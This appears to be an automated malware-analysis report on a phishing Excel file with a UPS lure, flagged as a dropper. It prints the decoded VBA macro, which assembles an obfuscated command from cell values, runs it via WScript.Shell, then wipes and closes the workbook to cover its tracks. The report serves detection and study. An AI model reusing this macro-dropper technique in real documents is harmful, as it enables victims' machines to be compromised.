MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The file is an OLE document containing VBA macros. The macros utilize WScript.Shell and CreateObject to execute arbitrary commands, specifically attempting to run a command constructed from cell constants. This script likely downloads and executes a second-stage payload, as indicated by the ClamAV detection name 'Xls.Dropper.Agent-7792261-0'. The presence of 'United Parcel Service' in the document body suggests a potential lure for phishing.
Heuristics 5
-
ClamAV: Xls.Dropper.Agent-7792261-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7792261-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
a = ActiveSheet.UsedRange: i = 1 For Each px In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): textbbox = textbbox + Chr((px + i)): Next px: WScript.Quit = (CreateObject("WScript.Shell").Exec(textbbox).StdOut.ReadAll()) chartO -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
a = ActiveSheet.UsedRange: i = 1 For Each px In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): textbbox = textbbox + Chr((px + i)): Next px: WScript.Quit = (CreateObject("WScript.Shell").Exec(textbbox).StdOut.ReadAll()) chartO -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1177 bytes |
SHA-256: 827dbadb66d51cd503a6db2fa95d3a1cdb1ab00525c367279ff3d8023735f9e1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "dataview, 3, 0, MSForms, CommandButton"
Attribute VB_Control = "print3, 2, 1, MSForms, Frame"
Private Sub print3_Layout()
On Error Resume Next
a = ActiveSheet.UsedRange: i = 1
For Each px In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): textbbox = textbbox + Chr((px + i)): Next px: WScript.Quit = (CreateObject("WScript.Shell").Exec(textbbox).StdOut.ReadAll())
chartO
End Sub
Sub chartO()
Cells.Clear: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05"))
ActiveWorkbook.Close False
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.